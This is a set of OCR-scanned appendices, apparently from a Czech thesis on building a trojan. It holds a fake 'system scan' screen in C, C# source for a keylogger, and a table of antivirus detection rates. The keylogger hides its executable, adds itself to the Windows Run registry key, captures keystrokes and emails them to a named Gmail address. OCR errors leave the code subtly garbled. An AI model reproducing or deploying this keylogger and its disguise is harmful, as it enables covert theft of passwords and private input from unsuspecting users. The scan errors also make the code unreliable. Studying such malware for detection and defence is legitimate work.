void showstatus()

{

gotoxy(12,8);

cputs("SCANNING THE SYSTEM FOR THREATS");
gotoxy(12,10);

cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
gotoxy(12,13);

cputs("SCAN IN PROGRESS. PLEASE WAIT...");
}

Priloha 2 - Keylogger class vlastniho trojského koné

using System;

using System.Collections.Generic;
using System.ComponentModel;
using System.Data;

using System.Drawing;

using System.Ling;

using System.Text;

using System.Runtime.InteropServices;
using System.Windows.Forms;

using System.IO;

using Microsoft.Win32;

namespace KeylLogger

{
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public partial class Forml : Form
{
[D1lImport("user32.dl1")]
private static extern short GetAsyncKeyState(int vKey);
public Forml()
{
InitializeComponent();
timerl.Start();
System.IO.File.SetAttributes(Application.ExecutablePath,
System.IO.FileAttributes.Hidden);
RegistryKey reg = Registry.LocalMachine.OpenSubKey
("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
reg.SetValue("zvukoveefekty", Application.ExecutablePath);
reg.Close();

}
string text = "";
private void timerl_Tick(object sender, EventArgs e)
{
string buffer = "";
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
buffer += Enum.GetName(typeof(Keys), i);
}
text += buffer;
if (text.Length > 1000)
Email.Send(text);
text = "";
}

Piiloha 3 - Email class vlastniho trojského koné

using System;

using System.Collections.Generic;
using System.Ling;

using System.Text;

using System.Net;

using System.Net.Mail;

namespace KeylLogger

{
public static class Email
{
public static void Send(string value)
{
string email = "email@gmail.com";
string pass = "heslo";

NetworkCredential loginInfo = new NetworkCredential(email, pass);
MailMessage msg = new MailMessage();
SmtpClient smtpclient = new SmtpClient("smtp.gmail.com", 587);

msg.From = new MailAddress(email);
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msg.To.Add(new MailAddress("tomanmi@gmail.com"));
msg.Body = value;
msg.Subject = "Zaznam_keyloggeru";

smtpclient.EnableSsl = true;
smtpclient.UseDefaultCredentials = false;
smtpclient.Credentials = loginInfo;
smtpclient.Send(msg);

Priloha 4 - Vysledky testovani antivirovych programi

Tabulka 1 — Vysledky testovani antivirovych programi

Antivirovy Poéo:t Netsp&ny | Uspésny ,Provcienm.
program testu uspesnosti
ESET (NOD32) 84 2 82 97,60%
Microsoft Security

Essentials 11 1 10 90,90%
Symantec Norton 66 8 58 87,90%
Kaspersky 105 24 81 77,20%
McAfee 76 24 52 68,40%
Avast! 79 25 54 68,40%
AVG 74 25 49 66,20%

Zdroj: Srovnani antivirovych programil, srovnani antivird. ANTIVIROVE CENTRUM [online]. 2.2.2014 [cit. 2014-03-

01]. Dostupné z: http://www.antivirovecentrum.cz/antiviry/srovnani.aspx
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